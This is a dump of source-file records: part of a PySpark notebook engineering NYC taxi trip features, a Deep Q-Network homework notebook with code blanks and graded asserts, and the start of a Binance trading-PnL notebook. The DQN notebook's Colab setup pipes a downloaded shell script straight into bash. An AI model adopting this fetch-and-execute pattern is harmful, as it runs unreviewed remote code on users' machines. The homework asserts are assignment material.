data\nfullRowCount = tripData.count()\n\ngoodRowCount = tripData.filter(col('pickup_location_id') == 0).count()\n\nprint('{0} rows with no pickup_location_id out of {1:,} total rows in dataset'.format(goodRowCount, fullRowCount))\nassert(goodRowCount == 0) # Using an assert statement to raise an error if other rows slip through\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### 1.2. What Data is Available at the time of booking?\n# MAGIC \n# MAGIC Next, we want to avoid any 'data leakage' - specifically where we include data we know now for past values that we won't know at the time of predictions in the future.\n# MAGIC \n# MAGIC Let's look again at the columns and a sample of the data in our dataset.\n\n# COMMAND ----------\n\ntripData.printSchema()\n\n# COMMAND ----------\n\ndisplay(tripData)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC In looking at this, there are several features that we won't know at the time of booking. For instance, we won't know the fare (since it's partially a function of duration).\n# MAGIC \n# MAGIC We also won't know anything about the trip dropoff time. (However, we'll keep in the dropoff_datetime 0- since we'll need that to compute duration)\n# MAGIC \n# MAGIC In all, of the 51 columns in our dataset, here are the columns we won't have access to at the time of booking (for our example, we'll assume we have the dropoff location, since the driver needs to know where they are driving to):\n# MAGIC * `dropoff_datetime`\n# MAGIC * `fare_amount`\n# MAGIC * `extra`\n# MAGIC * `mta_tax`\n# MAGIC * `tip_amount`\n# MAGIC * `tolls_amount`\n# MAGIC * `ehail_fee`\n# MAGIC * `improvement_surcharge`\n# MAGIC * `total_amount`\n# MAGIC * `payment_type`\n# MAGIC * `payment_type_description`\n# MAGIC * `dropoff_year`\n# MAGIC * `dropoff_month`\n# MAGIC * `dropoff_day`\n# MAGIC * `dropoff_hour`\n# MAGIC * `dropoff_minute`\n# MAGIC * `dropoff_second`\n# MAGIC \n# MAGIC Let's drop these columns and see what's left.\n\n# COMMAND ----------\n\ncolumns_to_drop = {'fare_amount','extra','mta_tax','tip_amount','tolls_amount',\n                   'ehail_fee','improvement_surcharge','total_amount','payment_type',\n                   'payment_type_description','dropoff_year','dropoff_month',\n                   'dropoff_hour', 'dropoff_day','dropoff_minute','dropoff_second'}\n\ntripData = tripData.select([column for column in tripData.columns if column not in columns_to_drop])\n\n# COMMAND ----------\n\n# display(tripData.describe())\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### 1.3. Which columns are blank and which columns are derived from other columns?\n# MAGIC \n# MAGIC We don't want a lot of redundant data entering our model - because the effects of a particular feature can be amplified. For example - in our dataset we have the `pickup_datetime`, the `pickup_year`, the `trip_year`, etc. We'll want to be careful here not to represent the same thing multiple times. In this instance, we'll keep `pickup_year`, `pickup_month`, `pickup_day` and `pickup_hour`. I'll assume that the minute and seconds are too granular to effect the trip_duration, but we may need to revisit later.\n# MAGIC \n# MAGIC Similarily, the latitude and longitude values of pickup and dropoff are pseudo-encoded in the location_id. We'll drop these to avoid redundancy.\n# MAGIC \n# MAGIC With `pickup_location_id` and `dropoff_location_id`, we've included the lookup values here. Therefore, we'll exclude the IDs, because individual values of borough, etc. may have value there.\n# MAGIC \n# MAGIC In all, we'll drop:\n# MAGIC * `vendor_id`  - Encoded in `vendor_abbreviation`\n# MAGIC * `pickup_datetime` - Will be dropped after duration calculation\n# MAGIC * `dropoff_datetime` - Will be dropped after duration calculation\n# MAGIC * `rate_code_id` - Encoded in `rate_code_description`, etc.\n# MAGIC * `pickup_location_id` - Encoded in `pickup_borough`, etc.\n# MAGIC * `dropoff_location_id` - Encoded in `dropoff_borough`, etc.\n# MAGIC * `pickup_longitude` - Blank\n# MAGIC * `pickup_latitude` - Blank\n# MAGIC * `dropoff_longitude` - Blank\n# MAGIC * `dropoff_latitude` - Blank\n# MAGIC * `vendor_description` - Encoded in `vendor_abbreviation`\n# MAGIC * `trip_type_description` - Mostly blank\n# MAGIC * `month_name_short` - Encoded in `pickup_year`, etc.\n# MAGIC * `month_name_full` - Encoded in `pickup_year`, etc.\n# MAGIC * `pickup_minute` - Too granular\n# MAGIC * `pickup_second` - Too granular\n# MAGIC * `trip_year` - Encoded in `pickup_year`, etc.\n# MAGIC * `trip_month` - Encoded in `pickup_year`, etc.\n\n# COMMAND ----------\n\ncolumns_to_drop = columns_to_drop.union({'vendor_id', 'rate_code_id', 'pickup_location_id', 'dropoff_location_id', \n                                         'pickup_longitude', 'pickup_latitude', 'dropoff_longitude', 'dropoff_latitude', \n                                         'trip_type', 'vendor_description', 'trip_type_description', 'month_name_short', \n                                         'month_name_full', 'pickup_minute', 'pickup_second', 'trip_year', 'trip_month'})\n\ntripData = tripData.select([column for column in tripData.columns if column not in columns_to_drop])\n\n# COMMAND ----------\n\ndisplay(tripData)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## 2. Feature (and Label) Engineering\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### 2.1 `is_weekend_flag` and `is_rush_hour_flag` columns\n\n# COMMAND ----------\n\ntripData = (tripData.withColumn('is_weekend_flag', date_format(col('pickup_datetime'), 'E').isin(['Sat', 'Sun']).astype('int'))\n                    .withColumn('is_rush_hour_flag', ((col('is_weekend_flag')==0) & ((col('pickup_hour').between(7, 10)) | (col('pickup_hour').between(16, 19)))).astype('int')))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### 2.2 `duration` column\n# MAGIC \n# MAGIC We've been asked to predict \"duration\", but we don't have that represented anywhere. Therefore, we'll need to \"engineer\" that feature (or label in this instance)\n# MAGIC \n# MAGIC We'll use the `unix_timestamp` function in PySpark to convert our timestamps to a UNIX Timestamp (# of seconds since January 1st, 1970 at 12:00AM UTC) and then subtract to get durations in seconds.\n\n# COMMAND ----------\n\ntripData = tripData.withColumn('duration_minutes', round((unix_timestamp(col('dropoff_datetime'))-unix_timestamp(col('pickup_datetime')))/60, 2))\n\ncolumns_to_drop = columns_to_drop.union({'pickup_datetime', 'dropoff_datetime'})\ntripData = tripData.select([column for column in tripData.columns if column not in columns_to_drop])\n\ndisplay(tripData)\n\n# COMMAND ----------\n\ndisplay(tripData.describe(['duration_minutes']))\n\n# COMMAND ----------\n\n# We'll filter out any negative trip or trip over 2 hours...\n\ntripData = tripData.where(col('duration_minutes').between(0, 120))\ndisplay(tripData.describe(['duration_minutes']))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### 2.3 Other feature engineering?\n# MAGIC There may be other features that we could engineer here, but for this lab we'll skip other feature engineering / exploration\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## 3. Moving to another notebook\n# MAGIC Now, we'll take the dataframe we created here and \"transfer\" it to another notebook. We can do that through the SparkSQL API by registering a temporary view. \n\n# COMMAND ----------\n\ntripData.createOrReplaceGlobalTempView(model_dataset_name)\n\n# You can cache the temporary view for increase performance - but it might not be optimal in a workshop setting\n# spark.catalog.cacheTable('global_temp.{0}'.format(model_dataset_name))\ndisplay(spark.read.table('global_temp.{0}'.format(model_dataset_name)))\n\n# COMMAND ----------\n\n", "meta": {"hexsha": "5675dff8e5f7e99d73c13b0e75288a4bff081bc9", "size": 11060, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/03-Data-Science/pyspark/01-Feature-Engineering-and-Selection.py", "max_stars_repo_name": "FaisalHajazi/NYCTaxi", "max_stars_repo_head_hexsha": "9db6878321890a5d67ba96607402a0b2a368e6ea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 68, "max_stars_repo_stars_event_min_datetime": "2019-05-13T13:51:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-21T10:02:12.000Z", "max_issues_repo_path": "code/03-Data-Science/pyspark/01-Feature-Engineering-and-Selection.py", "max_issues_repo_name": "FaisalHajazi/NYCTaxi", "max_issues_repo_head_hexsha": "9db6878321890a5d67ba96607402a0b2a368e6ea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2019-04-04T16:00:17.000Z", "max_issues_repo_issues_event_max_datetime": "2019-04-04T17:28:26.000Z", "max_forks_repo_path": "code/03-Data-Science/pyspark/01-Feature-Engineering-and-Selection.py", "max_forks_repo_name": "FaisalHajazi/NYCTaxi", "max_forks_repo_head_hexsha": "9db6878321890a5d67ba96607402a0b2a368e6ea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 62, "max_forks_repo_forks_event_min_datetime": "2019-05-21T10:24:33.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-25T13:00:13.000Z", "avg_line_length": 41.2686567164, "max_line_length": 519, "alphanum_fraction": 0.7038878843, "include": true, "reason": "import numpy", "num_tokens": 2689, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1403362422992606, "lm_q1q2_score": 0.06907183347133491}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Deep Q-Network implementation.\n# \n# This homework shamelessly demands you to implement DQN \u2014 an approximate Q-learning algorithm with experience replay and target networks \u2014 and see if it works any better this way.\n# \n# Original paper:\n# https://arxiv.org/pdf/1312.5602.pdf\n\n# **This notebook is given for debug.** The main task is in the other notebook (**homework_pytorch_main**). The tasks are similar and share most of the code. The main difference is in environments. In main notebook it can take some 2 hours for the agent to start improving so it seems reasonable to launch the algorithm on a simpler env first. Here it is CartPole and it will train in several minutes.\n# \n# **We suggest the following pipeline:** First implement debug notebook then implement the main one.\n# \n# **About evaluation:** All points are given for the main notebook with one exception: if agent fails to beat the threshold in main notebook you can get 1 pt (instead of 3 pts) for beating the threshold in debug notebook.\n\n# In[ ]:\n\n\nimport sys, os\nif 'google.colab' in sys.modules and not os.path.exists('.setup_complete'):\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/setup_colab.sh -O- | bash')\n        \n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/atari_wrappers.py')\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/utils.py')\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/replay_buffer.py')\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/framebuffer.py')\n\n    get_ipython().system('pip install gym[box2d]')\n\n    get_ipython().system('touch .setup_complete')\n\n# This code creates a virtual display to draw game images on.\n# It will have no effect if your machine has a monitor.\nif type(os.environ.get(\"DISPLAY\")) is not str or len(os.environ.get(\"DISPLAY\")) == 0:\n    get_ipython().system('bash ../xvfb start')\n    os.environ['DISPLAY'] = ':1'\n\n\n# __Frameworks__ - we'll accept this homework in any deep learning framework. This particular notebook was designed for PyTorch, but you find it easy to adapt it to almost any Python-based deep learning framework.\n\n# In[ ]:\n\n\nimport random\nimport numpy as np\nimport torch\nimport utils\n\n\n# In[ ]:\n\n\nimport gym\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ### CartPole again\n# \n# Another env can be used without any modification of the code. State space should be a single vector, actions should be discrete.\n# \n# CartPole is the simplest one. It should take several minutes to solve it.\n# \n# For LunarLander it can take 1-2 hours to get 200 points (a good score) on Colab and training progress does not look informative.\n\n# In[ ]:\n\n\nENV_NAME = 'CartPole-v1'\n\ndef make_env(seed=None):\n    # some envs are wrapped with a time limit wrapper by default\n    env = gym.make(ENV_NAME).unwrapped\n    if seed is not None:\n        env.seed(seed)\n    return env\n\n\n# In[ ]:\n\n\nenv = make_env()\nenv.reset()\nplt.imshow(env.render(\"rgb_array\"))\nstate_shape, n_actions = env.observation_space.shape, env.action_space.n\n\n\n# ### Building a network\n\n# We now need to build a neural network that can map observations to state q-values.\n# The model does not have to be huge yet. 1-2 hidden layers with < 200 neurons and ReLU activation will probably be enough. Batch normalization and dropout can spoil everything here.\n\n# In[ ]:\n\n\nimport torch\nimport torch.nn as nn\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n# those who have a GPU but feel unfair to use it can uncomment:\n# device = torch.device('cpu')\ndevice\n\n\n# In[ ]:\n\n\nclass DQNAgent(nn.Module):\n    def __init__(self, state_shape, n_actions, epsilon=0):\n\n        super().__init__()\n        self.epsilon = epsilon\n        self.n_actions = n_actions\n        self.state_shape = state_shape\n        # Define your network body here. Please make sure agent is fully contained here\n        assert len(state_shape) == 1\n        state_dim = state_shape[0]\n        <YOUR CODE>\n\n        \n    def forward(self, state_t):\n        \"\"\"\n        takes agent's observation (tensor), returns qvalues (tensor)\n        :param state_t: a batch states, shape = [batch_size, *state_dim=4]\n        \"\"\"\n        # Use your network to compute qvalues for given state\n        qvalues = <YOUR CODE>\n\n        assert qvalues.requires_grad, \"qvalues must be a torch tensor with grad\"\n        assert (\n            len(qvalues.shape) == 2 and \n            qvalues.shape[0] == state_t.shape[0] and \n            qvalues.shape[1] == n_actions\n        )\n\n        return qvalues\n\n    def get_qvalues(self, states):\n        \"\"\"\n        like forward, but works on numpy arrays, not tensors\n        \"\"\"\n        model_device = next(self.parameters()).device\n        states = torch.tensor(states, device=model_device, dtype=torch.float32)\n        qvalues = self.forward(states)\n        return qvalues.data.cpu().numpy()\n\n    def sample_actions(self, qvalues):\n        \"\"\"pick actions given qvalues. Uses epsilon-greedy exploration strategy. \"\"\"\n        epsilon = self.epsilon\n        batch_size, n_actions = qvalues.shape\n\n        random_actions = np.random.choice(n_actions, size=batch_size)\n        best_actions = qvalues.argmax(axis=-1)\n\n        should_explore = np.random.choice(\n            [0, 1], batch_size, p=[1-epsilon, epsilon])\n        return np.where(should_explore, random_actions, best_actions)\n\n\n# In[ ]:\n\n\nagent = DQNAgent(state_shape, n_actions, epsilon=0.5).to(device)\n\n\n# Now let's try out our agent to see if it raises any errors.\n\n# In[ ]:\n\n\ndef evaluate(env, agent, n_games=1, greedy=False, t_max=10000):\n    \"\"\" Plays n_games full games. If greedy, picks actions as argmax(qvalues). Returns mean reward. \"\"\"\n    rewards = []\n    for _ in range(n_games):\n        s = env.reset()\n        reward = 0\n        for _ in range(t_max):\n            qvalues = agent.get_qvalues([s])\n            action = qvalues.argmax(axis=-1)[0] if greedy else agent.sample_actions(qvalues)[0]\n            s, r, done, _ = env.step(action)\n            reward += r\n            if done:\n                break\n\n        rewards.append(reward)\n    return np.mean(rewards)\n\n\n# In[ ]:\n\n\nevaluate(env, agent, n_games=1)\n\n\n# ### Experience replay\n# For this assignment, we provide you with experience replay buffer. If you implemented experience replay buffer in last week's assignment, you can copy-paste it here in main notebook **to get 2 bonus points**.\n# \n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/exp_replay.png)\n\n# #### The interface is fairly simple:\n# * `exp_replay.add(obs, act, rw, next_obs, done)` - saves (s,a,r,s',done) tuple into the buffer\n# * `exp_replay.sample(batch_size)` - returns observations, actions, rewards, next_observations and is_done for `batch_size` random samples.\n# * `len(exp_replay)` - returns number of elements stored in replay buffer.\n\n# In[ ]:\n\n\nfrom replay_buffer import ReplayBuffer\nexp_replay = ReplayBuffer(10)\n\nfor _ in range(30):\n    exp_replay.add(env.reset(), env.action_space.sample(), 1.0, env.reset(), done=False)\n\nobs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch = exp_replay.sample(5)\n\nassert len(exp_replay) == 10, \"experience replay size should be 10 because that's what maximum capacity is\"\n\n\n# In[ ]:\n\n\ndef play_and_record(initial_state, agent, env, exp_replay, n_steps=1):\n    \"\"\"\n    Play the game for exactly n_steps, record every (s,a,r,s', done) to replay buffer. \n    Whenever game ends, add record with done=True and reset the game.\n    It is guaranteed that env has done=False when passed to this function.\n\n    PLEASE DO NOT RESET ENV UNLESS IT IS \"DONE\"\n\n    :returns: return sum of rewards over time and the state in which the env stays\n    \"\"\"\n    s = initial_state\n    sum_rewards = 0\n\n    # Play the game for n_steps as per instructions above\n    <YOUR CODE>\n\n    return sum_rewards, s\n\n\n# In[ ]:\n\n\n# testing your code.\nexp_replay = ReplayBuffer(2000)\n\nstate = env.reset()\nplay_and_record(state, agent, env, exp_replay, n_steps=1000)\n\n# if you're using your own experience replay buffer, some of those tests may need correction.\n# just make sure you know what your code does\nassert len(exp_replay) == 1000,     \"play_and_record should have added exactly 1000 steps, \"     \"but instead added %i\" % len(exp_replay)\nis_dones = list(zip(*exp_replay._storage))[-1]\n\nassert 0 < np.mean(is_dones) < 0.1,     \"Please make sure you restart the game whenever it is 'done' and \"     \"record the is_done correctly into the buffer. Got %f is_done rate over \"     \"%i steps. [If you think it's your tough luck, just re-run the test]\" % (\n        np.mean(is_dones), len(exp_replay))\n\nfor _ in range(100):\n    obs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch = exp_replay.sample(10)\n    assert obs_batch.shape == next_obs_batch.shape == (10,) + state_shape\n    assert act_batch.shape == (10,),         \"actions batch should have shape (10,) but is instead %s\" % str(act_batch.shape)\n    assert reward_batch.shape == (10,),         \"rewards batch should have shape (10,) but is instead %s\" % str(reward_batch.shape)\n    assert is_done_batch.shape == (10,),         \"is_done batch should have shape (10,) but is instead %s\" % str(is_done_batch.shape)\n    assert [int(i) in (0, 1) for i in is_dones],         \"is_done should be strictly True or False\"\n    assert [0 <= a < n_actions for a in act_batch], \"actions should be within [0, n_actions)\"\n\nprint(\"Well done!\")\n\n\n# ### Target networks\n# \n# We also employ the so called \"target network\" - a copy of neural network weights to be used for reference Q-values:\n# \n# The network itself is an exact copy of agent network, but it's parameters are not trained. Instead, they are moved here from agent's actual network every so often.\n# \n# $$ Q_{reference}(s,a) = r + \\gamma \\cdot \\max _{a'} Q_{target}(s',a') $$\n# \n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/target_net.png)\n\n# In[ ]:\n\n\ntarget_network = DQNAgent(agent.state_shape, agent.n_actions, epsilon=0.5).to(device)\n# This is how you can load weights from agent into target network\ntarget_network.load_state_dict(agent.state_dict())\n\n\n# ### Learning with... Q-learning\n# Here we write a function similar to `agent.update` from tabular q-learning.\n\n# Compute Q-learning TD error:\n# \n# $$ L = { 1 \\over N} \\sum_i [ Q_{\\theta}(s,a) - Q_{reference}(s,a) ] ^2 $$\n# \n# With Q-reference defined as\n# \n# $$ Q_{reference}(s,a) = r(s,a) + \\gamma \\cdot max_{a'} Q_{target}(s', a') $$\n# \n# Where\n# * $Q_{target}(s',a')$ denotes Q-value of next state and next action predicted by __target_network__\n# * $s, a, r, s'$ are current state, action, reward and next state respectively\n# * $\\gamma$ is a discount factor defined two cells above.\n# \n# \n# __Note 1:__ there's an example input below. Feel free to experiment with it before you write the function.\n# \n# __Note 2:__ compute_td_loss is a source of 99% of bugs in this homework. If reward doesn't improve, it often helps to go through it line by line [with a rubber duck](https://rubberduckdebugging.com/).\n\n# In[ ]:\n\n\ndef compute_td_loss(states, actions, rewards, next_states, is_done,\n                    agent, target_network,\n                    gamma=0.99,\n                    check_shapes=False,\n                    device=device):\n    \"\"\" Compute td loss using torch operations only. Use the formulae above. \"\"\"\n    states = torch.tensor(states, device=device, dtype=torch.float32)    # shape: [batch_size, *state_shape]\n    actions = torch.tensor(actions, device=device, dtype=torch.int64)    # shape: [batch_size]\n    rewards = torch.tensor(rewards, device=device, dtype=torch.float32)  # shape: [batch_size]\n    # shape: [batch_size, *state_shape]\n    next_states = torch.tensor(next_states, device=device, dtype=torch.float)\n    is_done = torch.tensor(\n        is_done.astype('float32'),\n        device=device,\n        dtype=torch.float32,\n    )  # shape: [batch_size]\n    is_not_done = 1 - is_done\n\n    # get q-values for all actions in current states\n    predicted_qvalues = agent(states)  # shape: [batch_size, n_actions]\n\n    # compute q-values for all actions in next states\n    predicted_next_qvalues = target_network(next_states)  # shape: [batch_size, n_actions]\n    \n    # select q-values for chosen actions\n    predicted_qvalues_for_actions = predicted_qvalues[range(len(actions)), actions]  # shape: [batch_size]\n\n    # compute V*(next_states) using predicted next q-values\n    next_state_values = <YOUR CODE>\n\n    assert next_state_values.dim() == 1 and next_state_values.shape[0] == states.shape[0],         \"must predict one value per state\"\n\n    # compute \"target q-values\" for loss - it's what's inside square parentheses in the above formula.\n    # at the last state use the simplified formula: Q(s,a) = r(s,a) since s' doesn't exist\n    # you can multiply next state values by is_not_done to achieve this.\n    target_qvalues_for_actions = <YOUR CODE>\n\n    # mean squared error loss to minimize\n    loss = torch.mean((predicted_qvalues_for_actions - target_qvalues_for_actions.detach()) ** 2)\n\n    if check_shapes:\n        assert predicted_next_qvalues.data.dim() == 2,             \"make sure you predicted q-values for all actions in next state\"\n        assert next_state_values.data.dim() == 1,             \"make sure you computed V(s') as maximum over just the actions axis and not all axes\"\n        assert target_qvalues_for_actions.data.dim() == 1,             \"there's something wrong with target q-values, they must be a vector\"\n\n    return loss\n\n\n# Sanity checks\n\n# In[ ]:\n\n\nobs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch = exp_replay.sample(10)\n\nloss = compute_td_loss(obs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch,\n                       agent, target_network,\n                       gamma=0.99, check_shapes=True)\nloss.backward()\n\nassert loss.requires_grad and tuple(loss.data.size()) == (),     \"you must return scalar loss - mean over batch\"\nassert np.any(next(agent.parameters()).grad.data.cpu().numpy() != 0),     \"loss must be differentiable w.r.t. network weights\"\nassert np.all(next(target_network.parameters()).grad is None),     \"target network should not have grads\"\n\n\n# ### Main loop\n# \n# It's time to put everything together and see if it learns anything.\n\n# In[ ]:\n\n\nfrom tqdm import trange\nfrom IPython.display import clear_output\nimport matplotlib.pyplot as plt\n\n\n# In[ ]:\n\n\nseed = <YOUR CODE: your favourite random seed>\nrandom.seed(seed)\nnp.random.seed(seed)\ntorch.manual_seed(seed)\n\n\n# In[ ]:\n\n\nenv = make_env(seed)\nstate_dim = env.observation_space.shape\nn_actions = env.action_space.n\nstate = env.reset()\n\nagent = DQNAgent(state_dim, n_actions, epsilon=1).to(device)\ntarget_network = DQNAgent(state_dim, n_actions, epsilon=1).to(device)\ntarget_network.load_state_dict(agent.state_dict())\n\n\n# In[ ]:\n\n\nREPLAY_BUFFER_SIZE = 10**4\n\nexp_replay = ReplayBuffer(REPLAY_BUFFER_SIZE)\nfor i in range(100):\n    if not utils.is_enough_ram(min_available_gb=0.1):\n        print(\"\"\"\n            Less than 100 Mb RAM available. \n            Make sure the buffer size in not too huge.\n            Also check, maybe other processes consume RAM heavily.\n            \"\"\"\n             )\n        break\n    play_and_record(state, agent, env, exp_replay, n_steps=10**2)\n    if len(exp_replay) == REPLAY_BUFFER_SIZE:\n        break\nprint(len(exp_replay))\n\n\n# In[ ]:\n\n\n# # for something more complicated than CartPole\n\n# timesteps_per_epoch = 1\n# batch_size = 32\n# total_steps = 3 * 10**6\n# decay_steps = 1 * 10**6\n\n# opt = torch.optim.Adam(agent.parameters(), lr=1e-4)\n\n# init_epsilon = 1\n# final_epsilon = 0.1\n\n# loss_freq = 20\n# refresh_target_network_freq = 1000\n# eval_freq = 5000\n\n# max_grad_norm = 5000\n\n\n# In[ ]:\n\n\ntimesteps_per_epoch = 1\nbatch_size = 32\ntotal_steps = 4 * 10**4\ndecay_steps = 1 * 10**4\n\nopt = torch.optim.Adam(agent.parameters(), lr=1e-4)\n\ninit_epsilon = 1\nfinal_epsilon = 0.1\n\nloss_freq = 20\nrefresh_target_network_freq = 100\neval_freq = 1000\n\nmax_grad_norm = 5000\n\n\n# In[ ]:\n\n\nmean_rw_history = []\ntd_loss_history = []\ngrad_norm_history = []\ninitial_state_v_history = []\nstep = 0\n\n\n# In[ ]:\n\n\nimport time\n\ndef wait_for_keyboard_interrupt():\n    try:\n        while True:\n            time.sleep(1)\n    except KeyboardInterrupt:\n        pass\n\n\n# In[ ]:\n\n\nstate = env.reset()\nwith trange(step, total_steps + 1) as progress_bar:\n    for step in progress_bar:\n        if not utils.is_enough_ram():\n            print('less that 100 Mb RAM available, freezing')\n            print('make sure everything is ok and use KeyboardInterrupt to continue')\n            wait_for_keyboard_interrupt()\n\n        agent.epsilon = utils.linear_decay(init_epsilon, final_epsilon, step, decay_steps)\n\n        # play\n        _, state = play_and_record(state, agent, env, exp_replay, timesteps_per_epoch)\n\n        # train\n        <YOUR CODE: sample batch_size of data from experience replay>\n\n        loss = <YOUR CODE: compute TD loss>\n\n        loss.backward()\n        grad_norm = nn.utils.clip_grad_norm_(agent.parameters(), max_grad_norm)\n        opt.step()\n        opt.zero_grad()\n\n        if step % loss_freq == 0:\n            td_loss_history.append(loss.data.cpu().item())\n            grad_norm_history.append(grad_norm)\n\n        if step % refresh_target_network_freq == 0:\n            # Load agent weights into target_network\n            <YOUR CODE>\n\n        if step % eval_freq == 0:\n            mean_rw_history.append(evaluate(\n                make_env(seed=step), agent, n_games=3, greedy=True, t_max=1000)\n            )\n            initial_state_q_values = agent.get_qvalues(\n                [make_env(seed=step).reset()]\n            )\n            initial_state_v_history.append(np.max(initial_state_q_values))\n\n            clear_output(True)\n            print(\"buffer size = %i, epsilon = %.5f\" %\n                (len(exp_replay), agent.epsilon))\n\n            plt.figure(figsize=[16, 9])\n\n            plt.subplot(2, 2, 1)\n            plt.title(\"Mean reward per episode\")\n            plt.plot(mean_rw_history)\n            plt.grid()\n\n            assert not np.isnan(td_loss_history[-1])\n            plt.subplot(2, 2, 2)\n            plt.title(\"TD loss history (smoothened)\")\n            plt.plot(utils.smoothen(td_loss_history))\n            plt.grid()\n\n            plt.subplot(2, 2, 3)\n            plt.title(\"Initial state V\")\n            plt.plot(initial_state_v_history)\n            plt.grid()\n\n            plt.subplot(2, 2, 4)\n            plt.title(\"Grad norm history (smoothened)\")\n            plt.plot(utils.smoothen(grad_norm_history))\n            plt.grid()\n\n            plt.show()\n\n\n# In[ ]:\n\n\nfinal_score = evaluate(\n  make_env(),\n  agent, n_games=30, greedy=True, t_max=1000\n)\nprint('final score:', final_score)\nassert final_score > 300, 'not good enough for DQN'\nprint('Well done')\n\n\n# **Agent's predicted V-values vs their Monte-Carlo estimates**\n\n# In[ ]:\n\n\neval_env = make_env()\nrecord = utils.play_and_log_episode(eval_env, agent)\nprint('total reward for life:', np.sum(record['rewards']))\nfor key in record:\n    print(key)\n\n\n# In[ ]:\n\n\nfig = plt.figure(figsize=(5, 5))\nax = fig.add_subplot(1, 1, 1)\n\nax.scatter(record['v_mc'], record['v_agent'])\nax.plot(sorted(record['v_mc']), sorted(record['v_mc']),\n       'black', linestyle='--', label='x=y')\n\nax.grid()\nax.legend()\nax.set_title('State Value Estimates')\nax.set_xlabel('Monte-Carlo')\nax.set_ylabel('Agent')\n\nplt.show()\n\n", "meta": {"hexsha": "4e173623571a253e9255d580d4413865acdba5f7", "size": 19810, "ext": "py", "lang": "Python", "max_stars_repo_path": "week04_approx_rl/homework_pytorch_debug.py", "max_stars_repo_name": "mikita-zhuryk/Practical_RL", "max_stars_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week04_approx_rl/homework_pytorch_debug.py", "max_issues_repo_name": "mikita-zhuryk/Practical_RL", "max_issues_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week04_approx_rl/homework_pytorch_debug.py", "max_forks_repo_name": "mikita-zhuryk/Practical_RL", "max_forks_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3164763458, "max_line_length": 401, "alphanum_fraction": 0.6775870772, "include": true, "reason": "import numpy", "num_tokens": 4919, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167299096624174, "lm_q2_score": 0.15610489744545739, "lm_q1q2_score": 0.06894731695921359}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + [markdown] id=\"R-gqzQVU88G1\"\n# # Trading Performance\n#\n# This notebook retrieves your trade data from Binance to calculate the pnl from your trading.\n#\n# The methodology for calculating PNL is:\n#\n# 1. Calculate the total amount of net base asset purchased (or sold) and the total amount of quote asset spent (or received)\n# 2. Calculate the value of these changes based on current asset spot price\n# 3. Calculate the value of the fees paid out in the trades\n#\n# Note that this methodology is one way of trying to evaluate the benefit if your trading activity, i.e. doing something versus doing nothing.  This does not capture any changes in portfolio value due to general market movements that may result in the appreciation of the value of base assets and quote assets.\n#\n# ## Instructions\n#\n# Step 1) Input your ***read only*** API keys\n#\n# Step 2) Input trading pair and start date\n#\n# Step 3) Select `Runtime` => `Run all`\n#\n# ## Notes\n#\n# - `% gain and loss` is based on your current balance of base and quote asset.  This may not be a comprehensive figure if (1) you have made deposits/withdrawals within the period being analyzed, and (2) if you are trading multiple pairs with overlapping base and quote assets\n#\n# ## Comments / bugs / suggestions\n#\n# Please email [carlo@hummingbot.io](mailto:carlol@hummingbot.io?subject=Colab:%20Performance%20Sheet).  \n# Please email [amine@hummingbot.io](mailto:amine@hummingbot.io?subject=Colab:%20Performance%20Sheet).\n\n# + [markdown] id=\"XPuIIVkdwU60\"\n# ## Input\n\n# + executionInfo={\"elapsed\": 726, \"status\": \"ok\", \"timestamp\": 1611609976985, \"user\": {\"displayName\": \"Amine BENKHOUYA\", \"photoUrl\": 